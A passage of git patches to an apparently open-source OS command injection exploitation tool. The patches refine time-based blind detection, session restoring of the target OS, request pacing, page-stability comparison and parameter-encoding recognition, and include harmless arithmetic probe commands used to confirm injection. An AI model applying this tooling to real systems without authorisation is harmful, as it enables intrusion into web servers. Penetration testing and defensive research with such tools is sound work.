settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" + else: + if settings.SKIP_CALC: + cmd = "echo " + str(randvcalc) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + cmd = "expr " + str(randv1) + " + " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" - # Set the original delay time - original_exec_time = exec_time + # Set the original delay time + original_exec_time = exec_time - # Check for false positive resutls - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - if checks.time_related_shell(exec_time, timesec): - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - exec_time_statistic = 0 - else: - break - # False positive + if checks.time_related_shell(exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True else: - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) - continue + break + # False positive else: - # Feed the baseline model even during detection, not just later phases. - checks.record_probe_response_time(exec_time) checks.injection_process(injection_type, technique, i=num_of_chars, total=total) continue + else: + # Feed the baseline model even during detection, not just later phases. + checks.record_probe_response_time(exec_time) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + continue except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): @@ -991,9 +1036,15 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # technique this slow is the most expensive way there is to learn the same thing twice. if not answered_late: break - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_related_shell(exec_time, timesec): + """ + Yaw, got shellz! + + A finding read back from a stored session is not judged again here. What is stored is how long + that run's answer took, against the delay that run asked for - and this one asks for its own, + floored by the shortest delay held to be safe. Read against each other, a finding made under a + shorter delay than the floor is thrown away every time it is resumed. + """ + if resumed or checks.time_related_shell(exec_time, timesec): if (len(TAG) == output_length) and (possibly_vulnerable is True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 2a2f9b5e8c..da0b11927d 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -147,7 +147,9 @@ def _warm_up_baseline(announce=True): # Silent where the caller has just said what it is taking the model again for: the dots # carry on under that line instead of repeating it. if announce and not announced: - warn_msg = settings.TIMING_BASELINE_MSG + # Named for the model it is filling: this one is taken from the payload's own shape, and a + # line reading the same as the one before it looks like the same work being done twice. + warn_msg = settings.TIMING_PAYLOAD_BASELINE_MSG warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." # The open line says what is being tested, so it is closed rather than written over - and # this one is left open in its turn, for the dots below to be counted off on it. @@ -879,14 +881,14 @@ def _validate_char_boundary(candidate): revalidations = 0 """ - The delay is shared by every worker, so what one of them raised another must not quietly put - back: this remembers what this worker escalated to, and it only restores when that is still - the value in force. Restoring regardless undid another worker's escalation mid-search, and - with several workers the raise never stuck at all. + The delay this character started with, to go back to once it has had its attempts. + + Raising it is how a position that answered unreliably is asked again, and it is that + position's business alone: left standing, the first bad character sets the pace every one + after it is read at, and on a target that wobbles once the run never comes back down. """ with timesec_lock: original_timesec = timesec - my_escalation = None while True: try: validated = _validate_char_boundary(ascii_char) @@ -910,16 +912,18 @@ def _validate_char_boundary(candidate): max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) if revalidations >= max_revalidations: conn_error_flag = True + # Put back unconditionally: the delay was raised for this character, and leaving it + # raised because another character raised it too is how one bad position sets the + # pace for everything after it. with timesec_lock: - if my_escalation is None or timesec == my_escalation: - timesec = settings.CALIBRATED_TIMESEC = original_timesec + timesec = settings.CALIBRATED_TIMESEC = original_timesec break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) if settings.ADJUST_TIME_DELAY_CHOICE is not False: with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) - new_timesec = my_escalation = timesec + new_timesec = timesec warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) ascii_char, from_full_range = _bisect_chars(force_full=True) diff --git a/src/core/main.py b/src/core/main.py index a7b358d9b9..5fc71bdeaf 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -200,9 +200,17 @@ def perform_init_request(url, http_request_method): headers.do_check(request) return request - # One request that does not follow redirects, to see where the target sends us. + """ + One request that does not follow redirects, to see where the target sends us. + + Built the way the run's own requests are, body and all: where the target sends a request carrying + nothing is not evidence of where it sends the request that will be tested. + """ def redirect_probe_request(url, http_request_method): - request = _urllib.request.Request(url, method=http_request_method) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + else: + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) return request @@ -223,6 +231,14 @@ def redirect_probe_request(url, http_request_method): response = None redirect_url = None + """ + Settled before anything is sent, so that the probe below carries what every request after it will + - the user's own headers among them. A probe made without them says where the target sends some + other request, not the one this run is going to make. + """ + host_from_target = menu.options.host is None + defined_http_headers(url) + try: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." @@ -264,11 +280,13 @@ def redirect_probe_request(url, http_request_method): if from_http_error: url = redirect_url + # The header names where we started, and a redirect has moved us since. + if host_from_target: + menu.options.host = _urllib.parse.urlparse(url).netloc + # Build the real request (full data) now that the final URL is known. request = perform_init_request(url, http_request_method) - # Define HTTP headers - defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -495,6 +513,7 @@ def scan_parsed_targets(os_checks_num): if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) main(filename, url, http_request_method) else: err_msg = "Unable to establish a connection with the target URL." @@ -882,6 +901,7 @@ def run(): if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) main(filename, url, http_request_method) else: err_msg = "Unable to establish a connection with the target URL." @@ -1077,6 +1097,7 @@ def _dedupe_lazy(iterable): if response is not False: filename = logs.logs_filename_creation(form_url) session_handler.restore_waf_status(form_url) + session_handler.restore_target_os(form_url) main(filename, form_url, settings.HTTPMETHOD.POST) except KeyboardInterrupt: checks.handle_early_interrupt(filename, form_url) @@ -1146,6 +1167,7 @@ def _dedupe_lazy(iterable): if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) main(filename, url, http_request_method) except KeyboardInterrupt: checks.handle_early_interrupt(filename, url) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index f84c74fa85..05b9f4234a 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -844,6 +844,12 @@ def banner(): default=False, help="Skip testing the parameter(s) that do not appear to be dynamic.") +detection.add_option("--text-only", + action="store_true", + dest="text_only", + default=False, + help="Compare pages based only on their textual content.") + detection.add_option("--disable-stats", action="store_true", dest="disable_stats", diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py index c67f3e8ca7..a97b0050db 100644 --- a/src/core/requests/cookies.py +++ b/src/core/requests/cookies.py @@ -171,8 +171,10 @@ def mask_cookie_value(cookie_str): """ def ignore_google_analytics_cookie(cookie): if re.search(settings.GOOGLE_ANALYTICS_COOKIE_REGEX, cookie): - if (len(cookie.split("="))) == 2: - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." + # Named by what comes before the first '=', so a value holding one of its own is still a value. + name, separator, _ = cookie.partition("=") + if separator: + info_msg = "Ignoring the Google analytics cookie parameter '" + name + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index add31d0131..74c614fb77 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -283,14 +283,35 @@ def send_safe_request(): settings.SENDING_SAFE_REQUEST = False """ -Checking the HTTP Headers & HTTP/S Request. +What holds for a request whatever it was sent for: the pacing that was asked for, the count it is +part of, and the proxy rotation and safe visit that go by that count. """ -def check_http_traffic(request): +def apply_request_policy(): settings.LAST_HTTP_ERROR = None count_request() # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - # and, where '--jitter' was given, a different fraction of a second on top of every one of them. time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) + +""" +Send a request the caller reads or times itself, rather than through the opener the rest of the run +goes out over - and have it paced and counted like any other request all the same. + +A caller that measures the answer applies the policy first and starts its clock afterwards, so that +what it times is the target rather than the delay this run was told to keep. +""" +def send_raw(request, timeout=None, policy=True): + if policy: + apply_request_policy() + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + return _urllib.request.urlopen(request, timeout=timeout or settings.TIMEOUT) + +""" +Checking the HTTP Headers & HTTP/S Request. +""" +def check_http_traffic(request): + apply_request_policy() if request.type == 'https': http_client = _http_client.HTTPSConnection else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index f029a2c350..2377ea13c6 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -156,8 +156,12 @@ def do_GET_check(url, http_request_method): else: # Find the host part url_part = get_url_part(url) - # Find the parameter part - parameters = url.split("?")[1] + # Find the parameter part - everything past the first '?', since a value of its own can carry + # one too: a parameter holding a URL takes the rest of the query with it otherwise. + parameters = url.split("?", 1)[1] + # A fragment is never sent to the target, so it belongs to no parameter's value - and a + # payload placed after it would be tested where nothing can read it. + parameters = parameters.split("#", 1)[0] # Split parameters try: multi_parameters = parameters.split(settings.URL_PARAM_DELIMITER) @@ -260,7 +264,7 @@ def vuln_GET_param(url): # Allow a value with a space, and escape the delimiter (--pdel). elif re.search(re.escape(settings.URL_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=.*" + settings.INJECT_TAG , url): - vuln_parameter = extract_vuln_param_from_pairs(url.split("?")[1], settings.URL_PARAM_DELIMITER, check_base64_padding=True) + vuln_parameter = extract_vuln_param_from_pairs(url.split("?", 1)[1], settings.URL_PARAM_DELIMITER, check_base64_padding=True) else: vuln_parameter = url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e6053da651..1dea76dea5 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -62,9 +62,11 @@ def _build_request(): response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, response) else: - first_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) + first_response = headers.send_raw(_build_request()) try: - first_response_content = first_response.read().strip() + raw_body = first_response.read() + first_response_content = raw_body.strip() + settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, first_response) finally: first_response.close() fetch_time = time.time() @@ -75,9 +77,11 @@ def _build_request(): if remaining: time.sleep(remaining) - second_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) + second_response = headers.send_raw(_build_request()) try: - second_response_content = second_response.read().strip() + raw_second_body = second_response.read() + second_response_content = raw_second_body.strip() + second_page = checks.decode_page_body(raw_second_body, second_response) finally: second_response.close() @@ -89,6 +93,21 @@ def _build_request(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if ratio < settings.STABILITY_SIMILARITY_THRESHOLD: status = "dynamic" + settings.PAGE_STABLE = status == "stable" + + """ + The two samples are of the same request, so whatever differs between them is the page moving on + its own. Noted as regions to leave out, and the pair compared again without them and without + the layout around the text - which is the comparison every later one is read against. + """ + checks.find_dynamic_content(settings.ORIGINAL_PAGE, second_page) + settings.ORIGINAL_PAGE_COMPARABLE = checks.comparable_page(settings.ORIGINAL_PAGE) + settings.PAGE_NOISE_RATIO = difflib.SequenceMatcher(None, settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(second_page)).ratio() + if settings.VERBOSITY_LEVEL != 0 and settings.DYNAMIC_MARKINGS: + debug_msg = "Marked " + str(len(settings.DYNAMIC_MARKINGS)) + " region" + debug_msg += "s"[len(settings.DYNAMIC_MARKINGS) == 1:] + " of the page as moving on its own." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except Exception: msg = "Unable to determine target URL content stability due to retrieval errors." @@ -156,8 +175,10 @@ def quick_response_time_sample(url, http_request_method): request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) headers.do_check(request) _attach_injection_point_placeholder(request) + # Paced before the clock starts, so the delay this run keeps is not measured as the target's. + headers.apply_request_policy() start = time.time() - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = headers.send_raw(request, policy=False) response.read(1) response.close() return time.time() - start @@ -182,9 +203,11 @@ def _measure_response_time_with_auth_handling(url, http_request_method): headers.do_check(request) _attach_injection_point_placeholder(request) + # Paced before the clock starts, so the delay this run keeps is not measured as the target's. + headers.apply_request_policy() start = time.time() try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = headers.send_raw(request, policy=False) response.read(1) response.close() except _http_client.InvalidURL as err_msg: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 00712e8826..248b59a083 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -776,6 +776,54 @@ def restore_waf_status(url): info_msg = "Previous session heuristics detected that the target is protected by some kind of WAF/IPS." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) +""" +Store the operating system the target answered as, so a later run against it does not have to work +that out again - kept for the same reason the WAF/IPS finding above is. +""" +def import_target_os(url, target_os): + try: + with _session_connection() as conn: + table = table_name(url) + "_os" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (target_os VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (target_os) VALUES (?)", (str(target_os),)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve the operating system stored for this target. Returns None where nothing is stored yet. +""" +def check_stored_target_os(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_os" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT target_os FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a stored operating system before testing starts, so the shell that answered last time is +the one tested for first rather than being asked about again. +""" +def restore_target_os(url): + if menu.options.ignore_session or menu.options.flush_session or menu.options.os or menu.options.skip_heuristics: + return + if settings.IDENTIFIED_TARGET_OS: + return + stored = check_stored_target_os(url) + if not stored or stored == "None": + return + settings.TARGET_OS = settings.OS.WINDOWS if stored.lower() == settings.OS.WINDOWS else settings.OS.UNIX + settings.IDENTIFIED_TARGET_OS = True + settings.OS_IDENTIFICATION_PENDING = False + info_msg = "Previous session identified the target operating system as '" + info_msg += ("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like") + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Store a confirmed testable-value placeholder, so a resumed session can reuse it instead of re-probing whether the parameter's real value is required. diff --git a/src/utils/settings.py b/src/utils/settings.py index 9fa6659a76..f9ff689992 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "154" +REVISION = "155" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -649,6 +649,10 @@ class OS(object): # Pre-injection baseline - the target's own round-trip time before any delay logic runs. URL_TIME_RESPONSE = 0 + +# The delay settled on for this target, kept so every parameter after the first reads it rather +# than measuring the same target again. +ESTIMATED_TIMESEC = None # (url, http_request_method) the response-time baseline is sampled from, filled in on first use. BASELINE_TARGET = None # Last reported minimum safe delay, so the same floor is announced only once. @@ -676,9 +680,15 @@ class OS(object): TESTABLE_VALUE = "" -# Whether TESTABLE_VALUE has already been swapped for a disposable placeholder this scan. +# Whether TESTABLE_VALUE has already been swapped for a disposable placeholder for this parameter. TESTABLE_VALUE_OPTIMIZED = False +# The techniques the run was given, kept for the parameters that follow one tested with fewer. +TECHNIQUES_BEFORE_NARROWING = None + +# Whether the file-based technique was accepted for a run given a document root but other techniques. +FILE_BASED_NARROWING_CHOICE = None + # The HTTP header name. HTTP_HEADER = "" @@ -720,6 +730,9 @@ class OS(object): # A quote closes only its own kind. QUOTES = ("'", "\"") +# Boundary lists already put in the order a shape of value asks for, kept rather than sorted again. +BOUNDARY_ORDER_CACHE = {} + # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] @@ -1866,6 +1879,9 @@ class END_LINE: # Said while the target's own response times are still being sampled, so a delay can be told apart. TIMING_BASELINE_MSG = "Time-related response comparison requires a larger statistical model" +# The second model, taken from the payload's own shape: what it costs to ask is part of the time an +# answer takes, and the threshold a delay is read against has to stand above that too. +TIMING_PAYLOAD_BASELINE_MSG = "Time-related response comparison requires a larger statistical model for the payload in hand" # Retries for the false-positive/unexploitable-point re-verification during detection. FALSE_POSITIVE_RETRIES = 3 @@ -1903,6 +1919,22 @@ class END_LINE: # The target's own first page, and the values its '<select>' menus offer - a parameter that is a # menu is randomized by picking one of its own options, rather than by inventing a value. ORIGINAL_PAGE = "" + +# Whether the target's page came back the same twice, and how alike the two samples were. +PAGE_STABLE = None +PAGE_NOISE_RATIO = 1.0 + +# The target's page as it is worth comparing: its text, with the regions that move by themselves out. +ORIGINAL_PAGE_COMPARABLE = "" + +# Where the page was found to move on its own, as what sits either side of each such region. +DYNAMIC_MARKINGS = [] + +# How much of the text either side of a moving region is kept to anchor on. +DYNAMICITY_BOUNDARY_LENGTH = 20 + +# Below this share of text, a page tells a comparison of whole pages next to nothing. +LOW_TEXT_PERCENT = 20 RANDOM_POOL = {} RANDOM_POOL_READ = False @@ -2249,8 +2281,8 @@ class END_LINE: "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", # Answered once by the user, and not worth asking again for every target. - "ADJUST_TIME_DELAY_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", "RECOGNISE_OS", - "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", + "ADJUST_TIME_DELAY_CHOICE", "FILE_BASED_NARROWING_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", + "RECOGNISE_OS", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", # Counted or noted for the run as a whole. "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", @@ -2269,7 +2301,7 @@ class END_LINE: directory - and which the next target is entitled to see as the user left them. """ RESTORED_OPTIONS = ("cookie", "data", "tamper", "os", "web_root", "tmp_path", "timesec", - "auth_cred", "auth_type", "level") + "auth_cred", "auth_type", "level", "tech") _TARGET_STATE_BASELINE = {} _OPTIONS_BASELINE = {} From 6437decd1ed9a53f2a4343a1316b232119bf0fd3 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Tue, 22 Sep 2026 06:30:05 +0300 Subject: [PATCH 0817/1023] Update GitHub Actions workflow for Python builds --- .github/workflows/builds.yml | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 1f36b18c07..31c520f1fd 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -1,19 +1,35 @@ +name: 'Builds' + on: push: branches: [ master ] pull_request: branches: [ master ] +# Nothing here writes back to the repository. +permissions: + contents: read + jobs: build: + name: ${{ matrix.os }} / Python ${{ matrix.python-version }} runs-on: ${{ matrix.os }} strategy: + fail-fast: false matrix: - os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.12' ] + # Pairs are listed explicitly rather than crossed: Python 3.7 is published for x64 images + # only - Linux up to 22.04, and the x64 macOS runners - so it cannot be installed on + # 'ubuntu-latest' (24.04) or on 'macos-latest' (arm64). + include: + - { os: ubuntu-22.04, python-version: '3.7' } + - { os: macos-13, python-version: '3.7' } + - { os: windows-latest, python-version: '3.7' } + - { os: ubuntu-latest, python-version: '3.12' } + - { os: macos-latest, python-version: '3.12' } + - { os: windows-latest, python-version: '3.12' } steps: - uses: actions/checkout@v4 - - name: Set up Python + - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} From 107590429331783b08e2d9b1d653a90a835db0f8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 22 Sep 2026 06:44:46 +0300 Subject: [PATCH 0818/1023] Replaced the `base64encode.py` and `hexencode.py` tamper scripts with `--param-encoding`, allowing parameter values to be encoded as expected by the target --- doc/CHANGELOG.md | 2 + src/core/controller/checks.py | 296 +++++++++++++++++++++--------- src/core/controller/controller.py | 54 ++++++ src/core/options.py | 3 + src/core/parse/cmdline.py | 6 + src/core/requests/parameters.py | 2 +- src/core/requests/requests.py | 5 +- src/tamper/base64encode.py | 47 ----- src/tamper/hexencode.py | 45 ----- src/utils/session_handler.py | 27 ++- src/utils/settings.py | 21 ++- 11 files changed, 316 insertions(+), 192 deletions(-) delete mode 100644 src/tamper/base64encode.py delete mode 100644 src/tamper/hexencode.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d634fe62a6..86ecf7aea9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Replaced: The `base64encode.py` and `hexencode.py` tamper scripts have been replaced with the `--param-encoding` option. +* Added: New option `--param-encoding` for naming the encoding a parameter carries its value in, so the payload is sent back written the same way. * Added: New switch `--text-only` for comparing pages based only on their textual content. * Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. * Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 763f1ff0bc..c755dac6d8 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2096,6 +2096,8 @@ def identified_os(): leaving it until the payloads are built costs a connection test and a WAF probe to find out. """ def validate_tamper_scripts(): + # An encoding named the old way is taken as an encoding before it is judged as a script name. + absorb_encoding_tampers() if not menu.options.tamper: return [] raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) @@ -3018,6 +3020,8 @@ def escalate_waf_evasion(on_block=True): Tamper script checker """ def tamper_scripts(stored_tamper_scripts): + # A stored session may still name the scripts by their old names, as may the command line. + absorb_encoding_tampers() if menu.options.tamper: provided_scripts = validate_tamper_scripts() priorities = {} @@ -3187,104 +3191,218 @@ def decoded_text_is_plausible(text): return printable / len(text) >= settings.ENCODING_PLAUSIBILITY_RATIO """ -Check for applied (hex / b64) encoders. +What a value is written in, where it is written in anything at all. + +Answered as the alphabet and the padding it was found with, not merely as "base64", because what is +sent back has to be written the same way: a value that arrived in the URL-safe alphabet and comes +back in the standard one is a value the target no longer recognises. + +A value counts as encoded only where decoding it and writing it out again gives back exactly what +arrived, and where what came out reads as text. Anything less takes a word that happens to be +spellable in the alphabet - 'deadbeef', 'password' - for an encoded one. """ -def check_encoders(payload): - is_decoded = False - encoded_with = "" - check_value = payload - long_enough = len(check_value.strip()) >= settings.ENCODING_MIN_LENGTH - - settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) - for encode_type in list(settings.MULTI_ENCODED_PAYLOAD): - if encode_type == 'base64encode' or encode_type == 'hexencode': - while True: - message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] " - procced_option = common.read_input(message, default="N", check_batch=True) - if procced_option in settings.CHOICE_YES: - break - elif procced_option in settings.CHOICE_NO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Unloading the '" + encode_type + "' tamper script." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass +def recognise_encoding(value): + value = (value or "").strip() + if len(value) < settings.ENCODING_MIN_LENGTH: + return None - if long_enough and (len(check_value.strip()) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, check_value): - _payload = base64.b64decode(check_value) + # Hexadecimal, which is the narrower shape: every character a digit, and two of them per byte. + if re.match(settings.HEX_RECOGNITION_REGEX, value): + body = value[2:] if value[:2].lower() == "0x" else value + if len(body) % 2 == 0: try: - decoded_text = _payload.decode(settings.DEFAULT_CODEC) - if not "\\x" in decoded_text and decoded_text_is_plausible(decoded_text): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = _payload - encoded_with = "base64" - if re.match(settings.HEX_RECOGNITION_REGEX, check_value): - decoded_payload, decoded = hexdecode(decoded_payload) - if decoded: - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - encoded_with = "hex" - except Exception: - pass + decoded = bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) + except (ValueError, UnicodeDecodeError): + decoded = None + if decoded and decoded_text_is_plausible(decoded): + return {"codec": "hex", "upper": body.upper() == body and body.lower() != body, + "prefixed": value[:2].lower() == "0x"} + return None - elif long_enough and re.match(settings.HEX_RECOGNITION_REGEX, check_value): - decoded_payload, decoded = hexdecode(check_value) - if decoded and decoded_text_is_plausible(decoded_payload): - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - encoded_with = "hex" - if (len(check_value.strip()) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): - _payload = base64.b64decode(check_value) - try: - decoded_text = _payload.decode(settings.DEFAULT_CODEC) - if not "\\x" in decoded_text and decoded_text_is_plausible(decoded_text): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = _payload - encoded_with = "base64" - except Exception: - pass - else: - decoded_payload = payload + # Base64, in either alphabet and with the padding it happened to carry. + urlsafe = "-" in value or "_" in value + alphabet = settings.BASE64_URLSAFE_RECOGNITION_REGEX if urlsafe else settings.BASE64_RECOGNITION_REGEX + if not re.match(alphabet, value): + return None + """ + Padding is only known to be dropped where the length says it must have been: a value that is a + whole number of groups long needed none in the first place, and writing the next one out without + it is how a target that pads is handed something it does not recognise. + """ + padded = value.endswith("=") or len(value) % 4 == 0 + body = value.rstrip("=") + # A length one past a whole group cannot be base64, padded back or not. + if len(body) % 4 == 1: + return None + try: + raw = base64.urlsafe_b64decode(body + "=" * (-len(body) % 4)) if urlsafe \ + else base64.b64decode(body + "=" * (-len(body) % 4)) + decoded = raw.decode(settings.DEFAULT_CODEC) + except Exception: + return None + if "\\x" in decoded or not decoded_text_is_plausible(decoded): + return None + description = {"codec": "base64", "urlsafe": urlsafe, "padded": padded} + # Written out again the way it arrived: where that is not what arrived, it was never encoded. + if apply_encoding(decoded, description) != value: + return None + return description - if len(encoded_with) != 0: - is_decoded = True +""" +The encoding named with '--param-encoding', as the value it is named for actually carries it. - if is_decoded: - while True: - message = "The value appears to already be " + encoded_with + "-encoded. " - message += "Do you want to load the '" + encoded_with + "encode' tamper script to keep it that way? [Y/n] " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - break - elif procced_option in settings.CHOICE_NO: - settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") - if 